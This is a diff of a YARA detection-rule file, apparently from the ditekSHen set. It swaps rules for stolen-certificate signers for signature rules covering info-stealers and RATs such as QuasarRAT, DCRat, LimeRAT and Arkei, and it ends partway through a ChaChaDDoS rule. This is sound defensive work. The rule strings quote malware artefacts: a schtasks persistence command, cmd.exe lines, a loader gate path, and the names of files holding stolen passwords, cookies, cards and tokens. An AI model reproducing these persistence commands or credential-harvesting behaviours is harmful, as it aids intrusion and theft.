+rule DITEKSHEN_MALWARE_Win_Laturo : FILE
 {
 	meta:
-		description = "Detects executables signed with stolen, revoked or invalid certificate"
+		description = "Laturo information stealer payload"
 		author = "ditekSHen"
-		id = "d8c25f8a-e129-5cd4-9e60-d2e7ebbb1ea6"
-		date = "2023-12-08"
-		modified = "2023-12-08"
+		id = "221a1ee8-e1ae-558c-919c-e3f55c1500f0"
+		date = "2024-05-28"
+		modified = "2024-05-28"
 		reference = "https://github.com/ditekshen/detection"
-		source_url = "https://github.com/ditekshen/detection/blob/6419013759723bbe4d5739312c9bc0a339259bc4/yara/indicator_knownbad_certs.yar#L120-L131"
+		source_url = "https://github.com/ditekshen/detection/blob/6419013759723bbe4d5739312c9bc0a339259bc4/yara/malware.yar#L3-L26"
 		license_url = "https://github.com/ditekshen/detection/blob/6419013759723bbe4d5739312c9bc0a339259bc4/LICENSE.txt"
-		logic_hash = "8ce0d25ef802948f754f155010f42d76256895ebd6ffdce8d97063dada58e668"
+		logic_hash = "bfb0c5676c926f58a4395a56dad09b37e8ac1cf0bf6b5521767c16698644b73a"
 		score = 75
-		quality = 75
+		quality = 61
 		tags = "FILE"
-		thumbprint = "b61a6607154d27d64de35e7529cb853dcb47f51f"
-		importance = 20
+		clamav_sig = "MALWARE.Win.Trojan.Laturo"
+
+	strings:
+		$str1 = "cmd.exe /c ping 127.0.0.1" ascii wide
+		$str2 = "cmd.exe /c start" ascii wide
+		$str3 = "\\RapidLoader\\" ascii
+		$str4 = "loader/gate.php" ascii wide
+		$str5 = "Hwid:" ascii wide
+		$str6 = "Special:" ascii wide
+		$str7 = "logs=%s" ascii
+		$data1 = "cookies.%u.txt" nocase ascii wide
+		$data2 = "passwords.%u.txt" nocase ascii wide
+		$data3 = "credentials.%u.txt" nocase ascii wide
+		$data4 = "cards.%u.txt" nocase ascii wide
+		$data5 = "autofill.%u.txt" nocase ascii wide
+		$data6 = "loginusers.vdf" ascii wide
+		$data7 = "screenshot.bmp" nocase ascii wide
+		$data8 = "webcam.bmp" nocase ascii wide
 
 	condition:
-		uint16(0)==0x5a4d and for any i in (0..pe.number_of_signatures) : (pe.signatures[i].subject contains "DIG IN VISION SP Z O O" and pe.signatures[i].serial=="00:fc:70:65:ab:f8:30:3f:b4:72:b8:af:85:91:8f:5c:24")
+		uint16(0)==0x5a4d and 5 of ($str*) and 1 of ($data*)
 }
 import "pe"
 
-rule DITEKSHEN_INDICATOR_KB_CERT_00B61B8E71514059Adc604Da05C283E514 : FILE
+rule DITEKSHEN_MALWARE_Win_Xpertrat : FILE
 {
 	meta:
-		description = "Detects executables signed with stolen, revoked or invalid certificate"
+		description = "XpertRAT payload"
 		author = "ditekSHen"
-		id = "d52bd370-a1da-56f1-8edd-da61c9e2e75b"
-		date = "2023-12-08"
-		modified = "2023-12-08"
+		id = "cea7de47-b47c-5fea-96ee-5858b16cca8d"
+		date = "2024-05-28"
+		modified = "2024-05-28"
 		reference = "https://github.com/ditekshen/detection"
-		source_url = "https://github.com/ditekshen/detection/blob/6419013759723bbe4d5739312c9bc0a339259bc4/yara/indicator_knownbad_certs.yar#L133-L144"
+		source_url = "https://github.com/ditekshen/detection/blob/6419013759723bbe4d5739312c9bc0a339259bc4/yara/malware.yar#L28-L56"
 		license_url = "https://github.com/ditekshen/detection/blob/6419013759723bbe4d5739312c9bc0a339259bc4/LICENSE.txt"
-		logic_hash = "b771d40e4e2db1d3f26d8fb2fa140f57871712700e584005d2377b701fc9538a"
+		logic_hash = "2a521bd1d6ce16fa16aa7757db2657dcab15e6802454ad899906d4ed17401feb"
 		score = 75
-		quality = 75
+		quality = 63
 		tags = "FILE"
-		thumbprint = "67ee69f380ca62b28cecfbef406970ddd26cd9be"
-		importance = 20
+		snort_sid = "920003-920006"
+		clamav_sig = "MALWARE.Win.Trojan.XpertRAT"
+
+	strings:
+		$v1 = "[XpertRAT-Mutex]" fullword wide
+		$v2 = "XPERTPLUGIN" fullword wide
+		$v3 = "+Xpert+3." wide
+		$v4 = "keylog.tmp" fullword wide
+		$v5 = "\\TempReg.reg" fullword wide
+		$s1 = "ClsKeylogger" fullword ascii nocase
+		$s2 = "clsCamShot" fullword ascii nocase
+		$s3 = "ClsShellCommand" fullword ascii nocase
+		$s4 = "ClsRemoteDesktop" fullword ascii nocase
+		$s5 = "ClsScreenRemote" fullword ascii nocase
+		$s6 = "ClsSoundRemote" fullword ascii nocase
+		$s7 = "MdlHidder" fullword ascii
+		$s8 = "modKeylog" fullword ascii
+		$s9 = "modWipe" fullword ascii
+		$s10 = "modDelProcInUse" fullword ascii
+		$s11 = "Socket_DataArrival" fullword ascii
+		$s12 = "cZip_EndCompress" fullword ascii
 
 	condition:
-		uint16(0)==0x5a4d and for any i in (0..pe.number_of_signatures) : (pe.signatures[i].subject contains "APP DIVISION ApS" and pe.signatures[i].serial=="00:b6:1b:8e:71:51:40:59:ad:c6:04:da:05:c2:83:e5:14")
+		uint16(0)==0x5a4d and (3 of ($v*) or 6 of ($s*))
 }
 import "pe"
 
-rule DITEKSHEN_INDICATOR_KB_CERT_51Cd5393514F7Ace2B407C3Dbfb09D8D : FILE
+rule DITEKSHEN_MALWARE_Win_Isrstealer : FILE
 {
 	meta:
-		description = "Detects executables signed with stolen, revoked or invalid certificate"
+		description = "ISRStealer payload"
 		author = "ditekSHen"
-		id = "f2f7b08e-111c-570b-b376-79145050ca42"
-		date = "2023-12-08"
-		modified = "2023-12-08"
+		id = "d6c3acdd-e881-5f97-8856-b7b60f56a1c2"
+		date = "2024-05-28"
+		modified = "2024-05-28"
 		reference = "https://github.com/ditekshen/detection"
-		source_url = "https://github.com/ditekshen/detection/blob/6419013759723bbe4d5739312c9bc0a339259bc4/yara/indicator_knownbad_certs.yar#L146-L157"
+		source_url = "https://github.com/ditekshen/detection/blob/6419013759723bbe4d5739312c9bc0a339259bc4/yara/malware.yar#L112-L128"
 		license_url = "https://github.com/ditekshen/detection/blob/6419013759723bbe4d5739312c9bc0a339259bc4/LICENSE.txt"
-		logic_hash = "389dbdc85035fdd94e831940eda910349134600e921720729840c932123db36d"
+		logic_hash = "5dd030ab8122b5dd432168647c7a3465cb3593a326f68b4863a91d16587641e5"
 		score = 75
 		quality = 75
 		tags = "FILE"
-		thumbprint = "07a9fd6af84983dbf083c15983097ac9ce761864"
-		importance = 20
+		clamav_sig = "MALWARE.Win.Trojan.ISRStealer"
+
+	strings:
+		$s1 = "&password=" wide
+		$s2 = "&pcname=" wide
+		$s3 = "MSVBVM60.DLL" ascii
+		$s4 = "MSVBVM60.DLL" wide
+		$s5 = "Core Software For : Public" wide
+		$s6 = "</Host>" wide
+		$s7 = "</Pass>" wide
+		$s8 = "/scomma" wide
 
 	condition:
-		uint16(0)==0x5a4d and for any i in (0..pe.number_of_signatures) : (pe.signatures[i].subject contains "APPI CZ a.s" and pe.signatures[i].serial=="51:cd:53:93:51:4f:7a:ce:2b:40:7c:3d:bf:b0:9d:8d")
+		( uint16(0)==0x5a4d and filesize <4000KB and 6 of them ) or all of them
 }
 import "pe"
 
-rule DITEKSHEN_INDICATOR_KB_CERT_030012F134E64347669F3256C7D050C5 : FILE
+rule DITEKSHEN_MALWARE_Win_Quasarrat : FILE
 {
 	meta:
-		description = "Detects executables signed with stolen, revoked or invalid certificate"
+		description = "QuasarRAT payload"
 		author = "ditekSHen"
-		id = "7f16b535-8a0f-583d-8bc3-0abf24f26632"
-		date = "2023-12-08"
-		modified = "2023-12-08"
+		id = "f256b88f-eee6-5f8c-afd6-32ed10ea908d"
+		date = "2024-05-28"
+		modified = "2024-05-28"
 		reference = "https://github.com/ditekshen/detection"
-		source_url = "https://github.com/ditekshen/detection/blob/6419013759723bbe4d5739312c9bc0a339259bc4/yara/indicator_knownbad_certs.yar#L159-L170"
+		source_url = "https://github.com/ditekshen/detection/blob/6419013759723bbe4d5739312c9bc0a339259bc4/yara/malware.yar#L130-L150"
 		license_url = "https://github.com/ditekshen/detection/blob/6419013759723bbe4d5739312c9bc0a339259bc4/LICENSE.txt"
-		logic_hash = "68bfd2e146e3b2bd1222de7f9981bb0e373bcb4727a81eb7060af36e6275d438"
+		logic_hash = "556b19dc0980761198ea31a285f281adae084463d24bff1eda15326436ad562b"
 		score = 75
 		quality = 75
 		tags = "FILE"
-		thumbprint = "959caa354b28892608ab1bb9519424c30bebc155"
-		importance = 20
+
+	strings:
+		$s1 = "GetKeyloggerLogsResponse" fullword ascii
+		$s2 = "GetKeyloggerLogs" fullword ascii
+		$s3 = "/>Log created on" wide
+		$s4 = "User: {0}{3}Pass: {1}{3}Host: {2}" wide
+		$s5 = "Domain: {1}{0}Cookie Name: {2}{0}Value: {3}{0}Path: {4}{0}Expired: {5}{0}HttpOnly: {6}{0}Secure: {7}" wide
+		$s6 = "grabber_" wide
+		$s7 = "<virtualKeyCode>" ascii
+		$s8 = "<RunHidden>k__BackingField" fullword ascii
+		$s9 = "<keyboardHookStruct>" ascii
+		$s10 = "add_OnHotKeysDown" ascii
+		$mutex = "QSR_MUTEX_" ascii wide
+		$ua1 = "Mozilla/5.0 (Windows NT 6.3; rv:48.0) Gecko/20100101 Firefox/48.0" fullword wide
+		$us2 = "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_9_3) AppleWebKit/537.75.14 (KHTML, like Gecko) Version/7.0.3 Safari/7046A194A" fullword wide
 
 	condition:
-		uint16(0)==0x5a4d and for any i in (0..pe.number_of_signatures) : (pe.signatures[i].subject contains "Futumarket LLC" and pe.signatures[i].serial=="03:00:12:f1:34:e6:43:47:66:9f:32:56:c7:d0:50:c5")
+		uint16(0)==0x5a4d and ($mutex or ( all of ($ua*) and 2 of them ) or 6 of ($s*))
 }
 import "pe"
 
-rule DITEKSHEN_INDICATOR_KB_CERT_00B7F19B13De9Bee8A52Ff365Ced6F67Fa : FILE
+rule DITEKSHEN_MALWARE_Win_Limerat : FILE
 {
 	meta:
-		description = "Detects executables signed with stolen, revoked or invalid certificate"
+		description = "LimeRAT payload"
 		author = "ditekSHen"
-		id = "b9cbe1bd-b24f-5599-a8b9-9e6f9b70f37f"
-		date = "2023-12-08"
-		modified = "2023-12-08"
+		id = "a4b85cad-97a8-514c-9380-f3e8ec95a44d"
+		date = "2024-05-28"
+		modified = "2024-05-28"
 		reference = "https://github.com/ditekshen/detection"
-		source_url = "https://github.com/ditekshen/detection/blob/6419013759723bbe4d5739312c9bc0a339259bc4/yara/indicator_knownbad_certs.yar#L172-L183"
+		source_url = "https://github.com/ditekshen/detection/blob/6419013759723bbe4d5739312c9bc0a339259bc4/yara/malware.yar#L152-L168"
 		license_url = "https://github.com/ditekshen/detection/blob/6419013759723bbe4d5739312c9bc0a339259bc4/LICENSE.txt"
-		logic_hash = "afdc41aed0480593bb8c92955db044ebe1a695d4912176123e26e052a3e9d3ea"
+		logic_hash = "8ae35c5fa48773b93da0b76b238fc8dbaf19fdeb6fd81bf23842c5121d620116"
 		score = 75
 		quality = 75
 		tags = "FILE"
-		thumbprint = "61708a3a2bae5343ff764de782d7f344151f2b74"
-		importance = 20
+
+	strings:
+		$s1 = "schtasks /create /f /sc ONLOGON /RL HIGHEST /tn LimeRAT-Admin /tr" wide
+		$s2 = "\\vboxhook.dll" fullword wide
+		$s3 = "Win32_Processor.deviceid=\"CPU0\"" fullword wide
+		$s4 = "select CommandLine from Win32_Process where Name='{0}'" wide
+		$s5 = "Minning..." fullword wide
+		$s6 = "Regasm.exe" fullword wide
+		$s7 = "Flood!" fullword wide
+		$s8 = "Rans-Status" fullword wide
+		$s9 = "cmd.exe /c ping 0" wide
 
 	condition:
-		uint16(0)==0x5a4d and for any i in (0..pe.number_of_signatures) : (pe.signatures[i].subject contains "ALEXIS SECURITY GROUP, LLC" and pe.signatures[i].serial=="00:b7:f1:9b:13:de:9b:ee:8a:52:ff:36:5c:ed:6f:67:fa")
+		uint16(0)==0x5a4d and 5 of them
 }
 import "pe"
 
-rule DITEKSHEN_INDICATOR_KB_CERT_4C8Def294478B7D59Ee95C61Fae3D965 : FILE
+rule DITEKSHEN_MALWARE_Win_Arkei : FILE
 {
 	meta:
-		description = "Detects executables signed with stolen, revoked or invalid certificate"
+		description = "Detect Arkei infostealer variants"
 		author = "ditekSHen"
-		id = "2f95a688-2fb2-55b7-9cd5-44586d6d4dc8"
-		date = "2023-12-08"
-		modified = "2023-12-08"
+		id = "d32a27bf-abb9-553c-9913-d675c340a5c5"
+		date = "2024-05-28"
+		modified = "2024-05-28"
 		reference = "https://github.com/ditekshen/detection"
-		source_url = "https://github.com/ditekshen/detection/blob/6419013759723bbe4d5739312c9bc0a339259bc4/yara/indicator_knownbad_certs.yar#L185-L196"
+		source_url = "https://github.com/ditekshen/detection/blob/6419013759723bbe4d5739312c9bc0a339259bc4/yara/malware.yar#L210-L226"
 		license_url = "https://github.com/ditekshen/detection/blob/6419013759723bbe4d5739312c9bc0a339259bc4/LICENSE.txt"
-		logic_hash = "d9e956d7d5b9389aebafd4b7025818ac8eb5a72aaa1b94068a12aa7a8029f97c"
+		logic_hash = "8a79bcc6ac94900c8a8913b2e81424bf900bbac416f44a91db6f208f23980155"
 		score = 75
 		quality = 75
 		tags = "FILE"
-		thumbprint = ""
-		importance = 20
+
+	strings:
+		$s1 = "C:\\Windows\\System32\\cmd.exe" fullword ascii wide
+		$s2 = "/c taskkill /im " fullword ascii
+		$s3 = "card_number_encrypted FROM credit_cards" ascii
+		$s4 = "\\wallet.dat" ascii
+		$s5 = "Arkei/" wide
+		$s6 = "files\\passwords." ascii wide
+		$s7 = "files\\cc_" ascii wide
+		$s8 = "files\\autofill_" ascii wide
+		$s9 = "files\\cookies_" ascii wide
 
 	condition:
-		uint16(0)==0x5a4d and for any i in (0..pe.number_of_signatures) : (pe.signatures[i].subject contains "DREAM SECURITY USA INC" and pe.signatures[i].serial=="4c:8d:ef:29:44:78:b7:d5:9e:e9:5c:61:fa:e3:d9:65")
+		uint16(0)==0x5a4d and all of them
 }
 import "pe"
 
-rule DITEKSHEN_INDICATOR_KB_CERT_0A23B660E7322E54D7Bd0E5Acc890966 : FILE
+rule DITEKSHEN_MALWARE_Win_Dcrat : FILE
 {
 	meta:
-		description = "Detects executables signed with stolen, revoked or invalid certificate"
+		description = "DCRat payload"
 		author = "ditekSHen"
-		id = "c9817cbd-edce-5ae0-ad70-58d592ac415f"
-		date = "2023-12-08"
-		modified = "2023-12-08"
+		id = "16c81fe0-2c18-55e9-aa17-cfd4213d6a17"
+		date = "2024-05-28"
+		modified = "2024-05-28"
 		reference = "https://github.com/ditekshen/detection"
-		source_url = "https://github.com/ditekshen/detection/blob/6419013759723bbe4d5739312c9bc0a339259bc4/yara/indicator_knownbad_certs.yar#L198-L209"
+		source_url = "https://github.com/ditekshen/detection/blob/6419013759723bbe4d5739312c9bc0a339259bc4/yara/malware.yar#L228-L292"
 		license_url = "https://github.com/ditekshen/detection/blob/6419013759723bbe4d5739312c9bc0a339259bc4/LICENSE.txt"
-		logic_hash = "6b9009d0c509b38107eba5742613f8ec6f48e447225c664e374ef56d64b035f0"
+		logic_hash = "5a02dcc2b9c7eb3efdba39047e37886240b45fb7e2db3b82aa5b4b9526dfb7f8"
 		score = 75
-		quality = 75
+		quality = 50
 		tags = "FILE"
-		thumbprint = "c1e0c6dc2bc8ea07acb0f8bdb09e6a97ae91e57c"
-		importance = 20
+
+	strings:
+		$dc1 = "DCRatBuild" ascii
+		$dc2 = "DCStlr" ascii
+		$x1 = "px\"><center>DCRat Keylogger" wide
+		$x2 = "DCRat-Log#" wide
+		$x3 = "DCRat.Code" wide
+		$string1 = "CaptureBrowsers" fullword ascii
+		$string2 = "DecryptBrowsers" fullword ascii
+		$string3 = "Browsers.IE10" ascii
+		$string4 = "Browsers.Chromium" ascii
+		$string5 = "WshShell" ascii
+		$string6 = "SysMngmts" fullword ascii
+		$string7 = "LoggerData" fullword ascii
+		$plugin = "DCRatPlugin" fullword ascii
+		$av1 = "AntiVM" ascii wide
+		$av2 = "vmware" fullword wide
+		$av3 = "VirtualBox" fullword wide
+		$av4 = "microsoft corporation" fullword wide
+		$av5 = "VIRTUAL" fullword wide
+		$av6 = "DetectVirtualMachine" fullword ascii
+		$av7 = "Select * from Win32_ComputerSystem" fullword wide
+		$pl1 = "dcratAPI" fullword ascii
+		$pl2 = "dsockapi" fullword ascii
+		$pl3 = "file_get_contents" fullword ascii
+		$pl4 = "classthis" fullword ascii
+		$pl5 = "typemdt" fullword ascii
+		$pl6 = "Plugin_AutoStealer" ascii wide
+		$pl7 = "Plugin_AutoKeylogger" ascii wide
+		$v1 = "Plugin couldn't process this action!" wide
+		$v2 = "Unknown command!" wide
+		$v3 = "PLUGINCONFIGS" wide
+		$v4 = "Saving log..." wide
+		$v5 = "~Work.log" wide
+		$v6 = "MicrophoneNum" fullword wide
+		$v7 = "WebcamNum" fullword wide
+		$v8 = "%SystemDrive% - Slow" wide
+		$v9 = "%UsersFolder% - Fast" wide
+		$v10 = "%AppData% - Very Fast" wide
+		$v11 = /<span style=\"color: #F85C50;\">\[(Up|Down|Enter|ESC|CTRL|Shift|Win|Tab|CAPSLOCK: (ON|OFF))\]<\/span>/ wide
+		$px1 = "[Browsers] Scanned elements: " wide
+		$px2 = "[Browsers] Grabbing cookies" wide
+		$px3 = "[Browsers] Grabbing passwords" wide
+		$px4 = "[Browsers] Grabbing forms" wide
+		$px5 = "[Browsers] Grabbing CC" wide
+		$px6 = "[Browsers] Grabbing history" wide
+		$px7 = "[StealerPlugin] Invoke: " wide
+		$px8 = "[Other] Grabbing steam" wide
+		$px9 = "[Other] Grabbing telegram" wide
+		$px10 = "[Other] Grabbing discord tokens" wide
+		$px11 = "[Other] Grabbing filezilla" wide
+		$px12 = "[Other] Screenshots:" wide
+		$px13 = "[Other] Clipboard" wide
+		$px14 = "[Other] Saving system information" wide
 
 	condition:
-		uint16(0)==0x5a4d and for any i in (0..pe.number_of_signatures) : (pe.signatures[i].subject contains "ARTBUD RADOM SP Z O O" and pe.signatures[i].serial=="0a:23:b6:60:e7:32:2e:54:d7:bd:0e:5a:cc:89:09:66")
+		uint16(0)==0x5a4d and ( all of ($dc*) or all of ($string*) or 2 of ($x*) or 6 of ($v*) or 5 of ($px*)) or ($plugin and (4 of ($av*) or 5 of ($pl*)))
 }
 import "pe"
 
-rule DITEKSHEN_INDICATOR_KB_CERT_04332C16724Ffeda5868D22Af56Aea43 : FILE
+rule DITEKSHEN_MALWARE_Win_Firebirdrat : FILE
 {
 	meta:
-		description = "Detects executables signed with stolen, revoked or invalid certificate"
+		description = "Firebird/Hive RAT payload"
 		author = "ditekSHen"
-		id = "7e6be2f5-2f34-5337-8beb-4ccc6c50ad2d"
-		date = "2023-12-08"
-		modified = "2023-12-08"
+		id = "456ae70e-8004-5fb0-a4fd-ce7c0f4704f9"
+		date = "2024-05-28"
+		modified = "2024-05-28"
 		reference = "https://github.com/ditekshen/detection"
-		source_url = "https://github.com/ditekshen/detection/blob/6419013759723bbe4d5739312c9bc0a339259bc4/yara/indicator_knownbad_certs.yar#L211-L222"
+		source_url = "https://github.com/ditekshen/detection/blob/6419013759723bbe4d5739312c9bc0a339259bc4/yara/malware.yar#L316-L339"
 		license_url = "https://github.com/ditekshen/detection/blob/6419013759723bbe4d5739312c9bc0a339259bc4/LICENSE.txt"
-		logic_hash = "338e7d9374de04d00162c9caf86d922f4d659b024ae7908f0e02ca4709a14a1d"
+		logic_hash = "1c24e924171db1b99a3b03764f4551b6f4b6b1c9c6147b49dbc0651e85e9040c"
 		score = 75
-		quality = 75
+		quality = 73
 		tags = "FILE"
-		thumbprint = "cba350fe1847a206580657758ad6813a9977c40e"
-		importance = 20
+		clamav_sig = "MALWARE.Win.Trojan.Firebird-HiveRAT"
+
+	strings:
+		$id1 = "Firebird Remote Administration Tool" fullword wide
+		$id2 = "Welcome to Firebird! Your system is currently being monitored" wide
+		$id3 = "Hive Remote Administration Tool" fullword wide
+		$id4 = "Welcome to Hive! Your system is currently being monitored" wide
+		$s1 = "REPLACETHESEKEYSTROKES" fullword wide
+		$s2 = "_ENABLE_PROFILING" fullword wide
+		$s3 = ": KeylogSubject" wide
+		$s4 = "Firebird.CommandHandler" fullword wide
+		$s5 = "webcamenabled" fullword ascii
+		$s6 = "screenlogs" fullword ascii
+		$s7 = "encryptedconnection" fullword ascii
+		$s8 = "monitoron" fullword ascii
+		$s9 = "screenGrab" fullword ascii
+		$s10 = "TCP_TABLE_OWNER_PID_ALL" fullword ascii
+		$s11 = "de4fuckyou" fullword ascii
 
 	condition:
-		uint16(0)==0x5a4d and for any i in (0..pe.number_of_signatures) : (pe.signatures[i].subject contains "Bespoke Software Solutions Limited" and pe.signatures[i].serial=="04:33:2c:16:72:4f:fe:da:58:68:d2:2a:f5:6a:ea:43")
+		uint16(0)==0x5a4d and (1 of ($id*) or 7 of ($s*))
 }
 import "pe"
 
-rule DITEKSHEN_INDICATOR_KB_CERT_085B70224253486624Fc36Fa658A1E32 : FILE
+rule DITEKSHEN_MALWARE_Win_Phoenix : FILE
 {
 	meta:
-		description = "Detects executables signed with stolen, revoked or invalid certificate"
+		description = "Phoenix/404KeyLogger keylogger payload"
 		author = "ditekSHen"
-		id = "8d0f4499-1ed2-5277-be80-0b7f3499b360"
-		date = "2023-12-08"
-		modified = "2023-12-08"
+		id = "62101881-9b5e-586d-8e1b-184787f25d6b"
+		date = "2024-05-28"
+		modified = "2024-05-28"
 		reference = "https://github.com/ditekshen/detection"
-		source_url = "https://github.com/ditekshen/detection/blob/6419013759723bbe4d5739312c9bc0a339259bc4/yara/indicator_knownbad_certs.yar#L224-L235"
+		source_url = "https://github.com/ditekshen/detection/blob/6419013759723bbe4d5739312c9bc0a339259bc4/yara/malware.yar#L341-L367"
 		license_url = "https://github.com/ditekshen/detection/blob/6419013759723bbe4d5739312c9bc0a339259bc4/LICENSE.txt"
-		logic_hash = "8779cca652b366ce33a3735069fdc35657a6bed5b469a956cd236d76901f8f54"
+		logic_hash = "b2c2a4ffc36d708a121853fb0268e6dc85b3fe2cd58e05c8124cbef18e03ec0b"
 		score = 75
 		quality = 75
 		tags = "FILE"
-		thumbprint = "36834eaf0061cc4b89a13e019eccc6e598657922"
-		importance = 20
+		clamav_sig = "MALWARE.Win.Trojan.Phoenix-Keylogger"
+
+	strings:
+		$s1 = "FirefoxPassReader" fullword ascii
+		$s2 = "StartKeylogger" fullword ascii
+		$s3 = "CRYPTPROTECT_" ascii
+		$s4 = "Chrome_Killer" fullword ascii
+		$s5 = "Clipboardlog.txt" fullword wide
+		$s6 = "Leyboardlogs.txt" fullword wide
+		$s7 = "Persistence'" wide
+		$s8 = "set_HKB" fullword ascii
+		$s9 = "loloa" fullword ascii
+		$s10 = "Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR1.0.3705;)" fullword wide
+		$m1 = "- Screenshot -------|" ascii wide
+		$m2 = "- Clipboard -------|" ascii wide
+		$m3 = "- Logs -------|" ascii wide
+		$m4 = "- Passwords -------|" ascii wide
+		$m5 = "PSWD" ascii wide
+		$m6 = "Screenshot |" ascii wide
+		$m7 = "Logs |" ascii wide
 
 	condition:
-		uint16(0)==0x5a4d and for any i in (0..pe.number_of_signatures) : (pe.signatures[i].subject contains "Best Fud, OOO" and pe.signatures[i].serial=="08:5b:70:22:42:53:48:66:24:fc:36:fa:65:8a:1e:32")
+		( uint16(0)==0x5a4d and 6 of ($s*) or 3 of ($m*)) or 9 of them
 }
 import "pe"
 
-rule DITEKSHEN_INDICATOR_KB_CERT_0086E5A9B9E89E5075C475006D0Ca03832 : FILE
+rule DITEKSHEN_MALWARE_Win_Backnet : FILE
 {
 	meta:
-		description = "Detects executables signed with stolen, revoked or invalid certificate"
+		description = "BackNet payload"
 		author = "ditekSHen"
-		id = "898bfe5f-5ac6-51f3-be55-09279a286835"
-		date = "2023-12-08"
-		modified = "2023-12-08"
+		id = "c53ef72f-4957-5ddb-b096-dcdb69cf900d"
+		date = "2024-05-28"
+		modified = "2024-05-28"
 		reference = "https://github.com/ditekshen/detection"
-		source_url = "https://github.com/ditekshen/detection/blob/6419013759723bbe4d5739312c9bc0a339259bc4/yara/indicator_knownbad_certs.yar#L237-L248"
+		source_url = "https://github.com/ditekshen/detection/blob/6419013759723bbe4d5739312c9bc0a339259bc4/yara/malware.yar#L369-L386"
 		license_url = "https://github.com/ditekshen/detection/blob/6419013759723bbe4d5739312c9bc0a339259bc4/LICENSE.txt"
-		logic_hash = "613f21989dc369ef6b1d8e42a0d707810ef064c608e4e34ba5eb475164f14abc"
+		logic_hash = "c276f2b809caad680455fc4ca0a021887d4ff2c9114f05737542a1d3c5cca848"
 		score = 75
 		quality = 75
 		tags = "FILE"
-		thumbprint = "76f6c507e0bcf7c6b881f117936f5b864a3bd3f8"
-		importance = 20
+		clamav_sig = "MALWARE.Win.Trojan.BackNet"
+
+	strings:
+		$s1 = "Slave.Commands." fullword ascii
+		$s2 = "StartKeylogger" fullword ascii
+		$s3 = "StopKeylogger" fullword ascii
+		$s4 = "KeyLoggerCommand" fullword ascii
+		$s5 = "get_keyLoggerManager" fullword ascii
+		$s6 = "get_IgnoreMutex" fullword ascii
+		$s7 = "ListProcesses" fullword ascii
+		$s8 = "downloadurl" fullword wide
+		$pdb = "\\BackNet-master\\Slave\\obj\\Release\\Slave.pdb" ascii
 
 	condition:
-		uint16(0)==0x5a4d and for any i in (0..pe.number_of_signatures) : (pe.signatures[i].subject contains "BlueMarble GmbH" and pe.signatures[i].serial=="00:86:e5:a9:b9:e8:9e:50:75:c4:75:00:6d:0c:a0:38:32")
+		uint16(0)==0x5a4d and ($pdb or all of ($s*))
 }
 import "pe"
 
-rule DITEKSHEN_INDICATOR_KB_CERT_039668034826Df47E6207Ec9Daed57C3 : FILE
+rule DITEKSHEN_MALWARE_Win_Acridrain : FILE
 {
 	meta:
-		description = "Detects executables signed with stolen, revoked or invalid certificate"
+		description = "AcidRain stealer payload"
 		author = "ditekSHen"
-		id = "8ae5f710-db8e-5d29-b247-a103f0878aa5"
-		date = "2023-12-08"
-		modified = "2023-12-08"
+		id = "9890c9e0-ce53-5f08-9077-c73a9e4ba29c"
+		date = "2024-05-28"
+		modified = "2024-05-28"
 		reference = "https://github.com/ditekshen/detection"
-		source_url = "https://github.com/ditekshen/detection/blob/6419013759723bbe4d5739312c9bc0a339259bc4/yara/indicator_knownbad_certs.yar#L250-L261"
+		source_url = "https://github.com/ditekshen/detection/blob/6419013759723bbe4d5739312c9bc0a339259bc4/yara/malware.yar#L388-L401"
 		license_url = "https://github.com/ditekshen/detection/blob/6419013759723bbe4d5739312c9bc0a339259bc4/LICENSE.txt"
-		logic_hash = "b9579ba5dac45e38ef7b2b3381d1651395a4f648c68ae8e6fc36a0ea2d9b6300"
+		logic_hash = "11884073f4bf466503b07f297ae7fad188f79df148fcc7ca48827c7dbd07e211"
 		score = 75
 		quality = 75
 		tags = "FILE"
-		thumbprint = "f98bdfa941ebfa2fe773524e0f9bbe9072873c2f"
-		importance = 20
+
+	strings:
+		$s1 = { 43 6f 6f 6b 69 65 73 (5c|2e) }
+		$s2 = { 74 65 6d 70 6c 6f 67 69 ?? }
+		$s3 = { 74 65 6d 70 50 ?? 68 }
+		$s4 = "Connecting to hostname: %s%s%s" fullword ascii
+		$s5 = "Found bundle for host %s: %p [%s]" fullword ascii
+		$s6 = "encryptedUsernamencryptedPassworERROR Don't copy string" fullword ascii
 
 	condition:
-		uint16(0)==0x5a4d and for any i in (0..pe.number_of_signatures) : (pe.signatures[i].subject contains "CHOO FSP, LLC" and pe.signatures[i].serial=="03:96:68:03:48:26:df:47:e6:20:7e:c9:da:ed:57:c3")
+		uint16(0)==0x5a4d and all of them
 }
 import "pe"
 
-rule DITEKSHEN_INDICATOR_KB_CERT_736Dcfd309Ea4C3Bea23287473Ffe071 : FILE
+rule DITEKSHEN_MALWARE_Linux_Chachaddos : FILE
 {
 	meta:
-		description = "Detects executables signed with stolen, revoked or invalid certificate"
+		description = "ChaChaDDoS variant of XorDDoS payload"
 		author = "ditekSHen"
-		id = "058c4e85-e004-5fe0-9e16-9dbe333371f6"
-		date = "2023-12-08"
-		modified = "2023-12-08"
+		id = "78a5cf3a-0e84-59bd-a936-bd335647e3d0"
+		date = "2024-05-28"
+		modified = "2024-05-28"
 		reference = "https://github.com/ditekshen/detection"
-		source_url = "https://github.com/ditekshen/detection/blob/6419013759723bbe4d5739312c9bc0a339259bc4/yara/indicator_knownbad_certs.yar#L263-L274"
+		source_url = "https://github.com/ditekshen/detection/blob/6419013759723bbe4d5739312c9bc0a339259bc4/yara/malware.yar#L403-L418"
 		license_url = "https://github.com/ditekshen/detection/blob/6419013759723bbe4d5739312c9bc0a339259bc4/LICENSE.txt"
-		logic_hash = "68a91e0e042606d49a5c83c972b0a6bf387c9d7d20c2df132edec717ab4603a0"
+		logic_hash = "2bf99771046650820f02a24d5bd825afeacd03d1e865b05d8563a3ef74d521fb"
 		score = 75
 		quality = 75
 		tags = "FILE"
-		thumbprint = "8bfc13bf01e98e5b38f8f648f0f843b63af03f55"
-		importance = 20
+
+	strings:
+		$x1 = "[kworker/1:1]" ascii
+		$x2 = "-- LuaSocket toolkit." ascii
+		$x3 = "/etc/resolv.conf" ascii
+		$x4 = "\"macaddress=\" .. DEVICE_MAC .. \"&device=\" .." ascii
+		$x5 = "easy_attack_dns" ascii
+		$x6 = "easy_attack_udp" ascii
+		$x7 = "easy_attack_syn" ascii
+		$x8 = "syn_probe" ascii
 
 	condition:
